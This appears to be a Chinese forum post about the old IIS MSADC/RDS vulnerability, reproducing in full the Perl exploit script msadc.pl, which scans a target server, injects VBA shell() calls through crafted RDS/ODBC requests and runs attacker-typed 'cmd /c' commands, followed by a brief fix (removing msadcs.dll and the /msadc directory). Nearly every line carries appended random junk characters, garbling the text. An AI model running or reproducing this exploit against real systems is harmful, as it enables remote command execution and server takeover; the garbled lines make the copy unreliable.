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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Vo M6  
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涉及程序: . :a<2sp6  
Microsoft NT server TBnvV 5_  
K &dT(U  
描述: DW|vMpU]u  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $P nLG]X  
2+:'0Krc  
详细: ,{8v4b-  
如果你没有时间读详细内容的话,就删除: OKAkl  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #wjH4DT  
有关的安全问题就没有了。 u-szt ?O|  
'$[Di'*;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `Mk4sKU\a  
qfr Ni1\9-  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [!~}S  
关于利用ODBC远程漏洞的描述,请参看: q@ZlJ3%l,  
M{E{NK  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NXI[q 'y  
hcyO97@r  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 S-!=NX&C  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0 iR R{a<  
[PWL<t::c  
这里不再论述。 Q["t eo]DQ  
si(cOCj/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ($>XIb9f  
[s}/nu~U  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset n8u*JeN  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !ni>\lZ  
#epy%>  
`R+,1"5=  
#将下面这段保存为txt文件,然后: "perl -x 文件名" [@G`Afaf  
aWGon]2p  
#!perl OCK>%o$[  
# BQ#L+9%  
# MSADC/RDS 'usage' (aka exploit) script m@\ZHbq  
# re`t ]gzb  
# by rain.forest.puppy 0^&!6R  
# 2|{V,!/cvG  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me x8"#!Pw:`"  
# beta test and find errors! N wtg%;  
`@XehSQ  
use Socket; use Getopt::Std; c!wtf,F  
getopts("e:vd:h:XR", \%args); cj g.lzY H  
.Dw,"VHP  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !9 f4R/ ?  
c-8!#~M(  
if (!defined $args{h} && !defined $args{R}) { z<&m*0WYA  
print qq~ wC` R>)  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 1mH\k5xu  
-h <host> = host you want to scan (ip or domain) SlaDt  
-d <seconds> = delay between calls, default 1 second zOB=aG?/  
-X = dump Index Server path table, if available A'-_TFwW  
-v = verbose c\.P/~  
-e = external dictionary file for step 5 Fn+ ?u  
v}[dnG  
Or a -R will resume a command session &leK}je [  
,}J_:\j  
~; exit;} 50n}my'2h  
z-,VnhLx  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; a$JLc a  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} \ZH&LPAY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} XvKFPr0~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); GwLFL.Ke  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o#D.9K(  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } JhX=l-?  
yI)~]K r  
if (!defined $args{R}){ $ret = &has_msadc; 6rX_-Mm6w  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} s>%Pd7:  
T ):SGW  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1RqgMMJL  
. "cmd /c "; ,t,wy37*D  
$in=<STDIN>; chomp $in; k;Fh4Hv  
$command="cmd /c " . $in ; \40 YGFO  
&.N $  
if (defined $args{R}) {&load; exit;} bx}fj#J]En  
p#@Z$gTH`'  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; O#_b7i  
&try_btcustmr; shgAhx  
`xz&Scil  
print "\nStep 2: Trying to make our own DSN..."; \x+3f  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2]WE({P  
uf'4'  
print "\nStep 3: Trying known DSNs...";  76H!)={  
&known_dsn; .p&Yr%~  
n&Yk<  
print "\nStep 4: Trying known .mdbs..."; ]Pc^#=(R0  
&known_mdb; A3{0q>CC  
m,_d^  
if (defined $args{e}){ %XTA;lrz  
print "\nStep 5: Trying dictionary of DSN names..."; <@uOCRb V  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } la^ DjHA$  
vkcRm`.  
print "Sorry Charley...maybe next time?\n"; ]}PV"|#K{c  
exit; H0*,8i5I  
@pza>^wk  
############################################################################## JPx7EEkZR4  
v:|( 8Y  
sub sendraw { # ripped and modded from whisker )qU7`0'8  
sleep($delay); # it's a DoS on the server! At least on mine... (@sp/:`6  
my ($pstr)=@_; R,_d1^|*w  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >e&:`2%.  
die("Socket problems\n"); -?a<qa?$  
if(connect(S,pack "SnA4x8",2,80,$target)){ GWP dv  
select(S); $|=1; p>*i$  
print $pstr; my @in=<S>; P?ep]  
select(STDOUT); close(S); +K$NAT  
return @in; C)RBkcb  
} else { die("Can't connect...\n"); }} e@]Wh)  
pa<qZZ  
############################################################################## #kmh:P  
_GoVx=t   
sub make_header { # make the HTTP request KL?)akk  
my $msadc=<<EOT Pz"`MB<'Ik  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (pR.Abq  
User-Agent: ACTIVEDATA \\4Eh2 Y  
Host: $ip A74920X`W  
Content-Length: $clen @aG&n(.!u*  
Connection: Keep-Alive -yx/7B5@  
Z)"61) )  
ADCClientVersion:01.06 t+TYb#Tc  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 0GXO&rCG  
q6q1\YB  
--!ADM!ROX!YOUR!WORLD! #-# NqX:  
Content-Type: application/x-varg !1sU>Xb4J  
Content-Length: $reqlen .ln8|;%  
5#JJ?  
EOT ;/8{N0  
; $msadc=~s/\n/\r\n/g; [=TCEU{"~  
return $msadc;} eE]hy'{d<  
O m'(mr  
############################################################################## &#m"/g7w4N  
uB.-t^@  
sub make_req { # make the RDS request vS?odqi#n  
my ($switch, $p1, $p2)=@_; xytr2V ]aV  
my $req=""; my $t1, $t2, $query, $dsn; ;N=G=X|}  
Ug"rJMZG  
if ($switch==1){ # this is the btcustmr.mdb query SZ!=`a]  
$query="Select * from Customers where City=" . make_shell(); [`_io>*g  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :+&AY2`  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -$a>f4]  
0@=MOGQb  
elsif ($switch==2){ # this is general make table query M8;lLcgu.  
$query="create table AZZ (B int, C varchar(10))"; eE8ULtO  
$dsn="$p1";} uG J"!K  
3Rv7Qx  
elsif ($switch==3){ # this is general exploit table query x4K`]Fvhl  
$query="select * from AZZ where C=" . make_shell(); <:;^'x>!  
$dsn="$p1";} hfM;/  
nBLj [  
elsif ($switch==4){ # attempt to hork file info from index server h{iEZ#  
$query="select path from scope()"; ,/Cq v   
$dsn="Provider=MSIDXS;";} A.%CAGU5w  
'c`jyn  
elsif ($switch==5){ # bad query (?&=T.*^  
$query="select"; ;h/pnmhP  
$dsn="$p1";} 0tz:Wd*<  
K%g;NW  
$t1= make_unicode($query); 5z/Er".P  
$t2= make_unicode($dsn); )mN9(Ob!  
$req = "\x02\x00\x03\x00"; 2XSHZ|;  
$req.= "\x08\x00" . pack ("S1", length($t1)); e$/B_o7(  
$req.= "\x00\x00" . $t1 ;  u\e\'\  
$req.= "\x08\x00" . pack ("S1", length($t2)); X" R<J#4  
$req.= "\x00\x00" . $t2 ; t}p@:'  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; V64L,u#`l  
return $req;} Zm TDQ`Ix  
)mcEQ-!b  
############################################################################## fys  
<,%:   
sub make_shell { # this makes the shell() statement pK&I^r   
return "'|shell(\"$command\")|'";} j|_E$L A\  
l}g;'9ZB  
############################################################################## (k"_># %  
d5j_6X  
sub make_unicode { # quick little function to convert to unicode Ukphd$3J=  
my ($in)=@_; my $out; qN| fEO>  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } VHUW]8We  
return $out;} Z@rN_WXx  
&XLD S=j  
############################################################################## ?w&SW{ I  
wsfd8T4  
sub rdo_success { # checks for RDO return success (this is kludge) \}]iS C.2  
my (@in) = @_; my $base=content_start(@in); 2&(sa0*y  
if($in[$base]=~/multipart\/mixed/){ ] Uc`J8p,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} quu*xJ;Ci  
return 0;} \+PIe7f_  
BN_7Ay/k  
############################################################################## P>Qpv Sd_#  
%"$@%"8;3  
sub make_dsn { # this makes a DSN for us WOytxE  
my @drives=("c","d","e","f"); -p,x&h,p  
print "\nMaking DSN: "; b'@we0V@S  
foreach $drive (@drives) { v"DL'@$Ut{  
print "$drive: "; IO$z%r7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  b`mj_b  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }ynT2a#LU'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); E8}+k o  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; !b|'Vp^U  
return 0 if $2 eq "404"; # not found/doesn't exist D^F{u Dlb  
if($2 eq "200") { s4= "kT]  
foreach $line (@results) { ,w)p"[^b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $a;]_Y  
} return 0;} ;GHvPQc_  
7 6fIC  
############################################################################## GR4?BuY,  
~[PKcEX  
sub verify_exists { -`c :}m  
my ($page)=@_; 6)gd^{  
my @results=sendraw("GET $page HTTP/1.0\n\n"); q!,zq  
return $results[0];} |BU+:+  
K`:=]Z8  
############################################################################## f6=w3RS  
D$e B ,~  
sub try_btcustmr { jdqj=Yc  
my @drives=("c","d","e","f"); ctmQWrk|B  
my @dirs=("winnt","winnt35","winnt351","win","windows"); u62)QJE  
-#&kYK#Ph  
foreach $dir (@dirs) { ,t$,idcT+  
print "$dir -> "; # fun status so you can see progress kUHE\L.Y]  
foreach $drive (@drives) { /FY2vDfU6  
print "$drive: "; # ditto KU&G;ni2  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _Tm0x>EM  
$reqlenlen=length( "$reqlen" ); N]/!mo?  
$clen= 206 + $reqlenlen + $reqlen; |I8Mk.Z=FA  
@]CF&: P A  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); jk~:\8M(A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} !mfJpJ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} dx_6X!=.J  
Bo_ym36N  
############################################################################## j0-McLc  
{OMg d3%14  
sub odbc_error { FcbM7/  
my (@in)=@_; my $base; %kI} [6J_  
my $base = content_start(@in); /M0/-pV 9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this B\`Aojw"E?  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7hNb/O004  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /L=(^k=a.;  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3HV%4nZLf  
return $in[$base+4].$in[$base+5].$in[$base+6];} yYJY;".H  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Al"3 kRJJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . P.WYTst=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} M++0zhS  
y&T&1o  
############################################################################## (g8*d^u#PO  
tl8O6`<Z  
sub verbose { +RZ~LA \+  
my ($in)=@_; =ZYThfAEw  
return if !$verbose; N"5fmY<  
print STDOUT "\n$in\n";} +54aO  
=Ov7C[(  
############################################################################## Do-^S:.  
{i{xo2<1"  
sub save { #~ v4caNx  
my ($p1, $p2, $p3, $p4)=@_; H. ,;-  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; h=VqxGC&  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; dXvt6kF  
close OUT;} 4)-)#`K  
nY-* i!H  
############################################################################## JyBp-ii  
FVWfDQ$&v  
sub load { [`fI:ao|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &vUq}r%P  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 'JmBh@A  
@p=<IN>; close(IN); q ojXrSb"y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); w; TkkDH  
$target= inet_aton($ip) || die("inet_aton problems"); NC23Z0y  
print "Resuming to $ip ..."; '%iPVHK7  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )6oGF>o>  
if($p[1]==1) { 5a`%)K  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |WQ9a' '  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; O_,O,1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); U..<iNQE5  
if (rdo_success(@results)){print "Success!\n";} [IX+M#mf  
else { print "failed\n"; verbose(odbc_error(@results));}} `H%G3M0a  
elsif ($p[1]==3){ :Hy]  
if(run_query("$p[3]")){ =jAFgwP\  
print "Success!\n";} else { print "failed\n"; }} lP<I|O=z  
elsif ($p[1]==4){ Se^^E.Z,W  
if(run_query($drvst . "$p[3]")){ >wON\N0V_  
print "Success!\n"; } else { print "failed\n"; }} bi[7!VQf  
exit;} W.}].7}h  
9 t:]  
############################################################################## BR_TykP  
D#rrW?-z  
sub create_table { C*~aSl7  
my ($in)=@_; HD`>-E#  
$reqlen=length( make_req(2,$in,"") ) - 28; F3E[wdT  
$reqlenlen=length( "$reqlen" ); AHh#Fx+K  
$clen= 206 + $reqlenlen + $reqlen; a' FN 3  
my @results=sendraw(make_header() . make_req(2,$in,"")); n2-0.Er  
return 1 if rdo_success(@results); ; 2`sN   
my $temp= odbc_error(@results); verbose($temp); 'Z!G a.I  
return 1 if $temp=~/Table 'AZZ' already exists/; iw]k5<qKj  
return 0;} f[~1<;|-  
-E>)j\{PX7  
############################################################################## A*]$v  
HOW7cV'X  
sub known_dsn { o \L!(hm  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go wrv5V M}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", W:s@L#-  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", **;p (CI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7} O;FX+x  
-$k>F#  
foreach $dSn (@dsns) { XX;6 P  
print "."; Pe^ !$  
next if (!is_access("DSN=$dSn")); i?}>.$j  
if(create_table("DSN=$dSn")){ UsW5d]i}Y  
print "$dSn successful\n"; t 0O4GcAN  
if(run_query("DSN=$dSn")){ f?UzD#50D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `iixq9xi  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 02b6s&L  
a+z2Zd!u\x  
############################################################################## tai Vk4  
2: ^njqX  
sub is_access { ? Nj)6_&  
my ($in)=@_; ! p.^ITM3S  
$reqlen=length( make_req(5,$in,"") ) - 28; L:f)i,S"5q  
$reqlenlen=length( "$reqlen" ); :h5J r8  
$clen= 206 + $reqlenlen + $reqlen; pA4 ,@O  
my @results=sendraw(make_header() . make_req(5,$in,"")); Q+[ .Y&  
my $temp= odbc_error(@results); &y. dmW  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a-0cN 9  
return 0;} C8b''9t.  
?[1SiJT  
############################################################################## +oy*Kxs7  
;Rnhe_A.  
sub run_query { QApyP CH  
my ($in)=@_; LsTffIP  
$reqlen=length( make_req(3,$in,"") ) - 28; EQ >t[ &  
$reqlenlen=length( "$reqlen" ); Ob@Hng% v  
$clen= 206 + $reqlenlen + $reqlen; nB@UKX  
my @results=sendraw(make_header() . make_req(3,$in,"")); @z,*K_AKr  
return 1 if rdo_success(@results); KFhG(   
my $temp= odbc_error(@results); verbose($temp); wyQb5n2`;~  
return 0;} V'wi^gq  
K&`Awv  
############################################################################## ohZx03  
x7ATI[b[  
sub known_mdb { NPU^) B  
my @drives=("c","d","e","f","g"); S7sb7c'4 k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \9m*(_Qf  
my $dir, $drive, $mdb; ?Myh 7  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; &9B_/m3  
@)0 Y~A )  
# this is sparse, because I don't know of many uH{'gd,q8  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 5w3Fqu>39?  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 78Y@OL_$  
"\\system32\\certmdb.mdb", h8v>zNf'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% rG6\ ynBX%  
X0i3_RVa  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h}Ygb-uZ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", mnQ'X-q3iO  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 4F#%f#"  
"\\cfusion\\cfapps\\security\\realm_.mdb", R } %8s*  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8F6h#%9  
"\\cfusion\\database\\cfexamples.mdb", ^#SBpLw  
"\\cfusion\\database\\cfsnippets.mdb", zy)i1d  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", z^`]7i  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", r_o<SH  
"\\cfusion\\brighttiger\\database\\cleam.mdb", f_<Y\  
"\\cfusion\\database\\smpolicy.mdb", f1cl';  
"\\cfusion\\database\cypress.mdb", SGf9U^ds  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  )U98  
"\\website\\cgi-win\\dbsample.mdb", aqL<v94wX  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Rt4di^v  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" KTmaglgp  
); #these are just CT"Fk'B'  
foreach $drive (@drives) { k|j:T[_  
foreach $dir (@dirs){ L|67f4  
foreach $mdb (@sysmdbs) { 7'.s7& '7  
print "."; %C *^:\y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ gGbI3^ r#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; PrnrXl S  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ n`<S&KP|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @PXXt#  
} else { print "Something's borked. Use verbose next time\n"; }}}}} y^s1t2]%  
n2'|.y}Um:  
foreach $drive (@drives) { P;GprJ`l  
foreach $mdb (@mdbs) { qx%jAs+~  
print "."; *{[d%B<lp  
if(create_table($drv . $drive . $dir . $mdb)){ P|}\/}{`  
print "\n" . $drive . $dir . $mdb . " successful\n"; E+{5-[Zc*$  
if(run_query($drv . $drive . $dir . $mdb)){ #v/ry)2Y=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; l>Av5g)  
} else { print "Something's borked. Use verbose next time\n"; }}}} K-@bwB7~s  
} M,..Kw/ }~  
_Ex?Xk  
############################################################################## ] 09yy  
DTy/jaK  
sub hork_idx { M&e8zS  
print "\nAttempting to dump Index Server tables...\n"; EAyukM2  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; q$>_WF#||  
$reqlen=length( make_req(4,"","") ) - 28; 1n3$V:00  
$reqlenlen=length( "$reqlen" ); d}% (jJ(I  
$clen= 206 + $reqlenlen + $reqlen; `o-*Tr  
my @results=sendraw2(make_header() . make_req(4,"","")); 6\`DlUn'*  
if (rdo_success(@results)){ .mt^m   
my $max=@results; my $c; my %d; }su6izx  
for($c=19; $c<$max; $c++){ s=/^lOOO  
$results[$c]=~s/\x00//g; ;,`]O!G:P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; s`vSt* ]K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ITvHD-,\  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -tP.S1D  
$d{"$1$2"}="";} |[WL2<  
foreach $c (keys %d){ print "$c\n"; } lC{L6&T  
} else {print "Index server doesn't seem to be installed.\n"; }} 04\Ta  
..$>7y}  
############################################################################## a7 )@BzF#  
32y[  
sub dsn_dict { Zd XKI{b  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); nKu(XgFv  
while(<IN>){ %8<2>  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; s01$fFJgO  
next if (!is_access("DSN=$dSn")); p">WK<N  
if(create_table("DSN=$dSn")){ {X]9^=O"  
print "$dSn successful\n"; .EzSSU7n)  
if(run_query("DSN=$dSn")){ 6o(lObfo  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o16~l]Z|f  
print "Something's borked. Use verbose next time\n";}}} k+txb?  
print "\n"; close(IN);} *-7fa0<  
i-"<[*ePd  
############################################################################## F*!gzKZ"  
\7DCwu[0M  
sub sendraw2 { # ripped and modded from whisker hU+#S(t>b  
sleep($delay); # it's a DoS on the server! At least on mine... !qS05  
my ($pstr)=@_; +{^'i P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $w`veP  
die("Socket problems\n"); ck~ '`<7  
if(connect(S,pack "SnA4x8",2,80,$target)){ =W |vOfy  
print "Connected. Getting data"; "c EvFY  
open(OUT,">raw.out"); my @in; 8J^d7uC  
select(S); $|=1; print $pstr; Gl"wEL*  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} QpJ IDM/  
close(OUT); select(STDOUT); close(S); return @in; tnJ`D4  
} else { die("Can't connect...\n"); }} !p"Kd ~  
(xQI($Wq*M  
############################################################################## fv/v|  
-s33m]a;  
sub content_start { # this will take in the server headers <>?^4NC<M  
my (@in)=@_; my $c; ~=Fk/  
for ($c=1;$c<500;$c++) { QU%N*bFW%P  
if($in[$c] =~/^\x0d\x0a/){ Ks51:M  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 'Ye]eL,I\  
else { return $c+1; }}} F]0Jwm{  
return -1;} # it should never get here actually WS5"!vz   
- BjEL;  
############################################################################## /rOnm=P+Q  
u{pTva  
sub funky { YpiRF+G  
my (@in)=@_; my $error=odbc_error(@in); J]\s*,C&  
if($error=~/ADO could not find the specified provider/){ flPZlL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; DbQBVy  
exit;} fGG 9zB6  
if($error=~/A Handler is required/){ @21u I{  
print "\nServer has custom handler filters (they most likely are patched)\n"; L*IU0Jy>  
exit;} uiuTv)pwF  
if($error=~/specified Handler has denied Access/){ -$b?rt]h1g  
print "\nServer has custom handler filters (they most likely are patched)\n"; eA10xpM0  
exit;}} 03] r*\  
x6jm -n  
############################################################################## 35}P0+  
6\XP|n-0+0  
sub has_msadc { O2$!'!hz  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _3I3AG0e  
my $base=content_start(@results); @X|ok*v`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <BQ%8}  
return 0;} %{Xm5#m  
Le_CIk 5YL  
######################## 01-p `H+  
fo *!a$)  
LuLy6]6D;  
解决方案: Fz{o-4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2-p8rGI_F  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 IM$ 'J  
z/pDOP Ku  
拿出来充数 哈哈
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